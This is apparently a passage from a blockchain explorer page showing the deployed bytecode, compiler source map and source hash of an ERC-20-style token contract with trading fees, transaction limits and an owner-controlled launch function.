c4a11628f55a4df523b3ef90610d219086815260200190565b60405180910390a35b6001600160a01b0385165f90815260016020526040902054610d4c908261113f565b6001600160a01b0386165f90815260016020526040902055610d8f610d71848461113f565b6001600160a01b0386165f90815260016020526040902054906110e1565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610dd8868661113f565b60405190815260200160405180910390a35050505050565b5f8184841115610e135760405162461bcd60e51b815260040161038791906111ac565b505f610e1f84866114a6565b95945050505050565b5f818311610e365782610e38565b815b9392505050565b5f600754600a5411610e52575060055490565b600754600a54118015610e695750600d54600a5411155b15610e755750600b5490565b50600e5490565b5f825f03610e8b57505f6102d1565b5f610e9683856113ca565b905082610ea385836114b9565b14610e385760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610387565b5f610e3883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611180565b5f600754600a5411610f4e575060065490565b600854600a54118015610f655750600d54600a5411155b15610e755750600c5490565b6015805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610fb757610fb76114d8565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561100e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110329190611416565b81600181518110611045576110456114d8565b6001600160a01b03928316602091820292909201015260145461106b9130911684610794565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906110a39085905f908690309042906004016114ec565b5f604051808303815f87803b1580156110ba575f80fd5b505af11580156110cc573d5f803e3d5ffd5b50506015805460ff60a01b1916905550505050565b5f806110ed838561147b565b905083811015610e385760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610387565b5f610e3883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610df0565b5f81836111a05760405162461bcd60e51b815260040161038791906111ac565b505f610e1f84866114b9565b5f6020808352835180828501525f5b818110156111d7578581018301518582016040015282016111bb565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461120b575f80fd5b50565b5f806040838503121561121f575f80fd5b823561122a816111f7565b946020939093013593505050565b5f805f6060848603121561124a575f80fd5b8335611255816111f7565b92506020840135611265816111f7565b929592945050506040919091013590565b5f60208284031215611286575f80fd5b8135610e38816111f7565b5f80604083850312156112a2575f80fd5b82356112ad816111f7565b915060208301356112bd816111f7565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561131657815f19048211156112fc576112fc6112c8565b8085161561130957918102915b93841c93908002906112e1565b509250929050565b5f8261132c575060016102d1565b8161133857505f6102d1565b816001811461134e576002811461135857611374565b60019150506102d1565b60ff841115611369576113696112c8565b50506001821b6102d1565b5060208310610133831016604e8410600b8410161715611397575081810a6102d1565b6113a183836112dc565b805f19048211156113b4576113b46112c8565b029392505050565b5f610e3860ff84168361131e565b80820281158282048414176102d1576102d16112c8565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611426575f80fd5b8151610e38816111f7565b5f805f60608486031215611443575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561146c575f80fd5b81518015158114610e38575f80fd5b808201808211156102d1576102d16112c8565b5f6001820161149f5761149f6112c8565b5060010190565b818103818111156102d1576102d16112c8565b5f826114d357634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561153a5784516001600160a01b031683529383019391830191600101611515565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f45eceae43777f610f56cbab99df6735561339783ea96817ccb7af352933a15364736f6c63430008150033

Deployed Bytecode Sourcemap

3598:7310:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5407:83;;;;;;;;;;-1:-1:-1;5477:5:0;;;;;;;;;;;;-1:-1:-1;;;5477:5:0;;;;5407:83;;;;;;;:::i;:::-;;;;;;;;6240:161;;;;;;;;;;-1:-1:-1;6240:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6240:161:0;1023:187:1;5684:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5684:95:0;1215:177:1;6409:313:0;;;;;;;;;;-1:-1:-1;6409:313:0;;;;;:::i;:::-;;:::i;5593:83::-;;;;;;;;;;-1:-1:-1;5593:83:0;;4446:1;2000:36:1;;1988:2;1973:18;5593:83:0;1858:184:1;10167:579:0;;;;;;;;;;;;;:::i;:::-;;10754:114;;;;;;;;;;;;;:::i;5787:119::-;;;;;;;;;;-1:-1:-1;5787:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5880:18:0;5853:7;5880:18;;;:9;:18;;;;;;;5787:119;2679:148;;;;;;;;;;;;;:::i;2465:79::-;;;;;;;;;;-1:-1:-1;2503:7:0;2530:6;2465:79;;-1:-1:-1;;;;;2530:6:0;;;2445:51:1;;2433:2;2418:18;2465:79:0;2299:203:1;5498:87:0;;;;;;;;;;-1:-1:-1;5570:7:0;;;;;;;;;;;;-1:-1:-1;;;5570:7:0;;;;5498:87;;5914:167;;;;;;;;;;-1:-1:-1;5914:167:0;;;;;:::i;:::-;;:::i;6089:143::-;;;;;;;;;;-1:-1:-1;6089:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6197:18:0;;;6170:7;6197:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6089:143;6240:161;6315:4;6332:39;300:10;6355:7;6364:6;6332:8;:39::i;:::-;-1:-1:-1;6389:4:0;6240:161;;;;;:::o;5684:95::-;5737:7;4502:13;4446:1;4502:2;:13;:::i;:::-;4489:26;;:10;:26;:::i;:::-;5757:14;;5684:95;:::o;6409:313::-;6507:4;6524:36;6534:6;6542:9;6553:6;6524:9;:36::i;:::-;6571:121;6580:6;300:10;6602:89;6640:6;6602:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6602:19:0;;;;;;:11;:19;;;;;;;;300:10;6602:33;;;;;;;;;;:37;:89::i;:::-;6571:8;:121::i;:::-;-1:-1:-1;6710:4:0;6409:313;;;;;:::o;10167:579::-;2592:6;;-1:-1:-1;;;;;2592:6:0;300:10;2592:22;2584:67;;;;-1:-1:-1;;;2584:67:0;;;;;;;:::i;:::-;;;;;;;;;10219:15:::1;:80:::0;;-1:-1:-1;;;;;;10219:80:0::1;10256:42;10219:80:::0;;::::1;::::0;;;10310:58:::1;::::0;10327:4:::1;::::0;4502:13:::1;4446:1;4502:2;:13;:::i;:::-;4489:26;::::0;:10:::1;:26;:::i;10310:58::-;10412:15;;;;;;;;;-1:-1:-1::0;;;;;10412:15:0::1;-1:-1:-1::0;;;;;10412:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10394:55:0::1;;10458:4;10465:15;;;;;;;;;-1:-1:-1::0;;;;;10465:15:0::1;-1:-1:-1::0;;;;;10465:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10394:94;::::0;-1:-1:-1;;;;;;10394:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5435:15:1;;;10394:94:0::1;::::0;::::1;5417:34:1::0;5487:15;;5467:18;;;5460:43;5352:18;;10394:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10379:12;:109:::0;;-1:-1:-1;;;;;10379:109:0;;::::1;-1:-1:-1::0;;;;;;10379:109:0;;::::1;;::::0;;10499:15:::1;::::0;::::1;:31;10538:21;10569:4;10575:24;10569:4:::0;-1:-1:-1;;;;;5880:18:0;5853:7;5880:18;;;:9;:18;;;;;;;5787:119;10575:24:::1;10600:1;10602::::0;10604:7:::1;2503::::0;2530:6;-1:-1:-1;;;;;2530:6:0;;2465:79;10604:7:::1;10499:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10499:129:0;;;-1:-1:-1;;;;;5873:15:1;;;10499:129:0::1;::::0;::::1;5855:34:1::0;5905:18;;;5898:34;;;;5948:18;;;5941:34;;;;5991:18;;;5984:34;6055:15;;;6034:19;;;6027:44;10612:15:0::1;6087:19:1::0;;;6080:35;5789:19;;10499:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10646:12:0::1;::::0;10676:15:::1;::::0;10639:70:::1;::::0;-1:-1:-1;;;10639:70:0;;-1:-1:-1;;;;;10676:15:0;;::::1;10639:70;::::0;::::1;6611:51:1::0;-1:-1:-1;;6678:18:1;;;6671:34;10646:12:0;::::1;::::0;-1:-1:-1;10639:28:0::1;::::0;6584:18:1;;10639:70:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;10720:11:0::1;:18:::0;;-1:-1:-1;;;;10720:18:0::1;-1:-1:-1::0;;;10720:18:0::1;::::0;;10167:579::o;10754:114::-;2592:6;;-1:-1:-1;;;;;2592:6:0;300:10;2592:22;2584:67;;;;-1:-1:-1;;;2584:67:0;;;;;;;:::i;:::-;4502:13:::1;4446:1;4502:2;:13;:::i;:::-;4489:26;::::0;:10:::1;:26;:::i;:::-;10805:15;:24:::0;4502:13:::1;4446:1;4502:2;:13;:::i;:::-;4489:26;::::0;:10:::1;:26;:::i;:::-;10840:10;:20:::0;10754:114::o;2679:148::-;2592:6;;-1:-1:-1;;;;;2592:6:0;300:10;2592:22;2584:67;;;;-1:-1:-1;;;2584:67:0;;;;;;;:::i;:::-;2786:1:::1;2770:6:::0;;2749:40:::1;::::0;-1:-1:-1;;;;;2770:6:0;;::::1;::::0;2749:40:::1;::::0;2786:1;;2749:40:::1;2817:1;2800:19:::0;;-1:-1:-1;;;;;;2800:19:0::1;::::0;;2679:148::o;5914:167::-;5992:4;6009:42;300:10;6033:9;6044:6;6009:9;:42::i;6730:335::-;-1:-1:-1;;;;;6823:19:0;;6815:68;;;;-1:-1:-1;;;6815:68:0;;7200:2:1;6815:68:0;;;7182:21:1;7239:2;7219:18;;;7212:30;7278:34;7258:18;;;7251:62;-1:-1:-1;;;7329:18:1;;;7322:34;7373:19;;6815:68:0;6998:400:1;6815:68:0;-1:-1:-1;;;;;6902:21:0;;6894:68;;;;-1:-1:-1;;;6894:68:0;;7605:2:1;6894:68:0;;;7587:21:1;7644:2;7624:18;;;7617:30;7683:34;7663:18;;;7656:62;-1:-1:-1;;;7734:18:1;;;7727:32;7776:19;;6894:68:0;7403:398:1;6894:68:0;-1:-1:-1;;;;;6973:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7025:32;;1361:25:1;;;7025:32:0;;1334:18:1;7025:32:0;;;;;;;6730:335;;;:::o;7073:1856::-;-1:-1:-1;;;;;7165:19:0;;7157:69;;;;-1:-1:-1;;;7157:69:0;;8008:2:1;7157:69:0;;;7990:21:1;8047:2;8027:18;;;8020:30;8086:34;8066:18;;;8059:62;-1:-1:-1;;;8137:18:1;;;8130:35;8182:19;;7157:69:0;7806:401:1;7157:69:0;-1:-1:-1;;;;;7245:19:0;;7237:67;;;;-1:-1:-1;;;7237:67:0;;8414:2:1;7237:67:0;;;8396:21:1;8453:2;8433:18;;;8426:30;8492:34;8472:18;;;8465:62;-1:-1:-1;;;8543:18:1;;;8536:33;8586:19;;7237:67:0;8212:399:1;7237:67:0;7332:1;7323:6;:10;7315:64;;;;-1:-1:-1;;;7315:64:0;;8818:2:1;7315:64:0;;;8800:21:1;8857:2;8837:18;;;8830:30;8896:34;8876:18;;;8869:62;-1:-1:-1;;;8947:18:1;;;8940:39;8996:19;;7315:64:0;8616:405:1;7315:64:0;7390:17;;7436:28;7440:6;7447:16;7390:17;7440:6;7447:16;:::i;:::-;7436:3;:28::i;:::-;-1:-1:-1;;;;;7480:25:0;;;;;;:18;:25;;;;;;7420:44;;-1:-1:-1;7480:25:0;;7479:26;:56;;;;-1:-1:-1;;;;;;7510:25:0;;;;;;:18;:25;;;;;;;;7509:26;7479:56;7475:1086;;;7564:34;7594:3;7564:25;7575:13;:11;:13::i;:::-;7564:6;;:10;:25::i;:::-;:29;;:34::i;:::-;7628:12;;7552:46;;-1:-1:-1;;;;;;7619:21:0;;;7628:12;;7619:21;:58;;;;-1:-1:-1;7661:15:0;;-1:-1:-1;;;;;7644:33:0;;;7661:15;;7644:33;;7619:58;:89;;;;-1:-1:-1;;;;;;7683:25:0;;;;;;:18;:25;;;;;;;;7681:27;7619:89;7615:324;;;7748:10;;7738:6;:20;;7730:56;;;;-1:-1:-1;;;7730:56:0;;9358:2:1;7730:56:0;;;9340:21:1;9397:2;9377:18;;;9370:30;9436:25;9416:18;;;9409:53;9479:18;;7730:56:0;9156:347:1;7730:56:0;7842:15;;7832:6;7813:16;7823:5;-1:-1:-1;;;;;5880:18:0;5853:7;5880:18;;;:9;:18;;;;;;;5787:119;7813:16;:25;;;;:::i;:::-;:44;;7805:83;;;;-1:-1:-1;;;7805:83:0;;9710:2:1;7805:83:0;;;9692:21:1;9749:2;9729:18;;;9722:30;9788:28;9768:18;;;9761:56;9834:18;;7805:83:0;9508:350:1;7805:83:0;7907:14;:16;;;:14;:16;;;:::i;:::-;;;;;;7615:324;7967:12;;-1:-1:-1;;;;;7958:21:0;;;7967:12;;7958:21;:46;;;;-1:-1:-1;;;;;;7983:21:0;;7999:4;7983:21;;7958:46;7955:133;;;8037:35;8068:3;8037:26;8048:14;:12;:14::i;8037:35::-;8025:47;;7955:133;8148:4;8104:23;5880:18;;;:9;:18;;;;;;8174:7;;-1:-1:-1;;;8174:7:0;;;;8173:8;:33;;;;-1:-1:-1;8194:12:0;;-1:-1:-1;;;;;8185:21:0;;;8194:12;;8185:21;8173:33;:48;;;;-1:-1:-1;8210:11:0;;-1:-1:-1;;;8210:11:0;;;;8173:48;:74;;;;;8234:13;;8225:6;:22;8173:74;8169:291;;;8289:13;;8271:15;:31;8268:117;;;8321:64;8338:46;8342:6;8349:34;8353:15;8369:13;;8349:3;:34::i;8338:46::-;8321:16;:64::i;:::-;8404:8;;:40;;-1:-1:-1;;;;;8404:8:0;;;;8422:21;8404:40;;;;;:8;:40;:8;:40;8422:21;8404:8;:40;;;;;;;;;;;;;;;;;;;;;8169:291;7537:934;7475:1086;;;8497:8;;-1:-1:-1;;;;;8497:8:0;;;8480:26;;;;8477:84;;8531:30;8535:12;;8549:11;;8531:3;:30::i;:::-;8521:40;;8477:84;8575:11;;8572:162;;8643:4;8625:24;;;;:9;:24;;;;;;:39;;8654:9;8625:28;:39::i;:::-;8618:4;8600:24;;;;:9;:24;;;;;;;:64;;;;8682:40;;-1:-1:-1;;;;;8682:40:0;;;;;;;8712:9;1361:25:1;;1349:2;1334:18;;1215:177;8682:40:0;;;;;;;;8572:162;-1:-1:-1;;;;;8761:16:0;;;;;;:9;:16;;;;;;:28;;8782:6;8761:20;:28::i;:::-;-1:-1:-1;;;;;8744:16:0;;;;;;:9;:16;;;;;:45;8817:43;8838:21;:6;8849:9;8838:10;:21::i;:::-;-1:-1:-1;;;;;8817:16:0;;;;;;:9;:16;;;;;;;:20;:43::i;:::-;-1:-1:-1;;;;;8800:16:0;;;;;;;:9;:16;;;;;:60;;;;8876:45;;;8899:21;:6;8910:9;8899:10;:21::i;:::-;8876:45;;1361:25:1;;;1349:2;1334:18;8876:45:0;;;;;;;7146:1783;;7073:1856;;;:::o;1357:190::-;1443:7;1479:12;1471:6;;;;1463:29;;;;-1:-1:-1;;;1463:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1503:9:0;1515:5;1519:1;1515;:5;:::i;:::-;1503:17;1357:190;-1:-1:-1;;;;;1357:190:0:o;9570:98::-;9627:7;9654:1;9652;:3;9651:9;;9659:1;9651:9;;;9657:1;9651:9;9644:16;9570:98;-1:-1:-1;;;9570:98:0:o;9255:306::-;9300:7;9341:12;;9323:14;;:30;9320:80;;-1:-1:-1;9376:12:0;;;9255:306::o;9320:80::-;9430:12;;9413:14;;:29;:64;;;;;9464:13;;9446:14;;:31;;9413:64;9410:113;;;-1:-1:-1;9500:11:0;;;9255:306::o;9410:113::-;-1:-1:-1;9540:13:0;;;9255:306::o;1555:246::-;1613:7;1637:1;1642;1637:6;1633:47;;-1:-1:-1;1667:1:0;1660:8;;1633:47;1690:9;1702:5;1706:1;1702;:5;:::i;:::-;1690:17;-1:-1:-1;1735:1:0;1726:5;1730:1;1690:17;1726:5;:::i;:::-;:10;1718:56;;;;-1:-1:-1;;;1718:56:0;;10560:2:1;1718:56:0;;;10542:21:1;10599:2;10579:18;;;10572:30;10638:34;10618:18;;;10611:62;-1:-1:-1;;;10689:18:1;;;10682:31;10730:19;;1718:56:0;10358:397:1;1809:132:0;1867:7;1894:39;1898:1;1901;1894:39;;;;;;;;;;;;;;;;;:3;:39::i;8937:310::-;8983:7;9024:12;;9006:14;;:30;9003:81;;-1:-1:-1;9059:13:0;;;8937:310::o;9003:81::-;9114:13;;9097:14;;:30;:65;;;;;9149:13;;9131:14;;:31;;9097:65;9094:115;;;-1:-1:-1;9185:12:0;;;8937:310::o;9676:483::-;5061:7;:14;;-1:-1:-1;;;;5061:14:0;-1:-1:-1;;;5061:14:0;;;9778:16:::1;::::0;;9792:1:::1;9778:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9778:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9778:16:0::1;9754:40;;9823:4;9805;9810:1;9805:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9805:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9849:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9849:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9805:7;;9849:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9839:4;9844:1;9839:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9839:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9914:15:::1;::::0;9882:62:::1;::::0;9899:4:::1;::::0;9914:15:::1;9932:11:::0;9882:8:::1;:62::i;:::-;9955:15;::::0;:196:::1;::::0;-1:-1:-1;;;9955:196:0;;-1:-1:-1;;;;;9955:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10036:11;;9955:15:::1;::::0;10078:4;;10105::::1;::::0;10125:15:::1;::::0;9955:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5098:7:0;:15;;-1:-1:-1;;;;5098:15:0;;;-1:-1:-1;;;;9676:483:0:o;1026:179::-;1084:7;;1116:5;1120:1;1116;:5;:::i;:::-;1104:17;;1145:1;1140;:6;;1132:46;;;;-1:-1:-1;;;1132:46:0;;12211:2:1;1132:46:0;;;12193:21:1;12250:2;12230:18;;;12223:30;12289:29;12269:18;;;12262:57;12336:18;;1132:46:0;12009:351:1;1213:136:0;1271:7;1298:43;1302:1;1305;1298:43;;;;;;;;;;;;;;;;;:3;:43::i;1949:189::-;2035:7;2070:12;2063:5;2055:28;;;;-1:-1:-1;;;2055:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2094:9:0;2106:5;2110:1;2106;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:356::-;4790:2;4772:21;;;4809:18;;;4802:30;4868:34;4863:2;4848:18;;4841:62;4935:2;4920:18;;4588:356::o;4949:251::-;5019:6;5072:2;5060:9;5051:7;5047:23;5043:32;5040:52;;;5088:1;5085;5078:12;5040:52;5120:9;5114:16;5139:31;5164:5;5139:31;:::i;6126:306::-;6214:6;6222;6230;6283:2;6271:9;6262:7;6258:23;6254:32;6251:52;;;6299:1;6296;6289:12;6251:52;6328:9;6322:16;6312:26;;6378:2;6367:9;6363:18;6357:25;6347:35;;6422:2;6411:9;6407:18;6401:25;6391:35;;6126:306;;;;;:::o;6716:277::-;6783:6;6836:2;6824:9;6815:7;6811:23;6807:32;6804:52;;;6852:1;6849;6842:12;6804:52;6884:9;6878:16;6937:5;6930:13;6923:21;6916:5;6913:32;6903:60;;6959:1;6956;6949:12;9026:125;9091:9;;;9112:10;;;9109:36;;;9125:18;;:::i;9863:135::-;9902:3;9923:17;;;9920:43;;9943:18;;:::i;:::-;-1:-1:-1;9990:1:1;9979:13;;9863:135::o;10003:128::-;10070:9;;;10091:11;;;10088:37;;;10105:18;;:::i;10136:217::-;10176:1;10202;10192:132;;10246:10;10241:3;10237:20;10234:1;10227:31;10281:4;10278:1;10271:15;10309:4;10306:1;10299:15;10192:132;-1:-1:-1;10338:9:1;;10136:217::o;10892:127::-;10953:10;10948:3;10944:20;10941:1;10934:31;10984:4;10981:1;10974:15;11008:4;11005:1;10998:15;11024:980;11286:4;11334:3;11323:9;11319:19;11365:6;11354:9;11347:25;11391:2;11429:6;11424:2;11413:9;11409:18;11402:34;11472:3;11467:2;11456:9;11452:18;11445:31;11496:6;11531;11525:13;11562:6;11554;11547:22;11600:3;11589:9;11585:19;11578:26;;11639:2;11631:6;11627:15;11613:29;;11660:1;11670:195;11684:6;11681:1;11678:13;11670:195;;;11749:13;;-1:-1:-1;;;;;11745:39:1;11733:52;;11840:15;;;;11805:12;;;;11781:1;11699:9;11670:195;;;-1:-1:-1;;;;;;;11921:32:1;;;;11916:2;11901:18;;11894:60;-1:-1:-1;;;11985:3:1;11970:19;11963:35;11882:3;11024:980;-1:-1:-1;;;11024:980:1:o

Swarm Source

ipfs://f45eceae43777f610f56cbab99df6735561339783ea96817ccb7af352933a153
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.